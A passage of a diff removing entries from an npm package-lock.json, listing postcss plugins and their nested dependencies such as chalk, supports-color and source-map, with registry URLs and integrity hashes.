"https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-modules-scope": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz", - "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", - "dev": true, - "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-modules-values": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz", - "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", - "dev": true, - "requires": { - "icss-replace-symbols": "^1.1.0", - "postcss": "^6.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-charset": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-1.1.1.tgz", - "integrity": "sha1-757nEhLX/nWceO0WL2HtYrXLk/E=", - "dev": true, - "requires": { - "postcss": "^5.0.5" - } - }, - "postcss-normalize-display-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.0.tgz", - "integrity": "sha1-lQ4Me+NEV3ChYP/9a2ZEw8DNj4k=", - "dev": true, - "requires": { - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-positions": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.0.tgz", - "integrity": "sha1-7pNDq5gbgixjq3JhXszNCFZERaM=", - "dev": true, - "requires": { - "cssnano-util-get-arguments": "^4.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-repeat-style": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.0.tgz", - "integrity": "sha1-txHFks8W+vn/V15C+hALZ5kIPv8=", - "dev": true, - "requires": { - "cssnano-util-get-arguments": "^4.0.0", - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.0.tgz", - "integrity": "sha1-cYy20wpvrGrGqDDjLAbAfbxm/l0=", - "dev": true, - "requires": { - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-timing-functions": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.0.tgz", - "integrity": "sha1-A1HymIaqmB1D2RssK9GuptCvbSM=", - "dev": true, - "requires": { - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-unicode": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.0.tgz", - "integrity": "sha1-Ws1dR7rqXRdnSyzMSuUWb6iM35c=", - "dev": true, - "requires": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-normalize-url": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-3.0.8.tgz", - "integrity": "sha1-EI90s/L82viRov+j6kWSJ5/HgiI=", - "dev": true, - "requires": { - "is-absolute-url": "^2.0.0", - "normalize-url": "^1.4.0", - "postcss": "^5.0.14", - "postcss-value-parser": "^3.2.3" - } - }, - "postcss-normalize-whitespace": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.0.tgz", - "integrity": "sha1-HafnaxCuY8EYJ/oE/Du0oe/pnMA=", - "dev": true, - "requires": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-ordered-values": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-2.2.3.tgz", - "integrity": 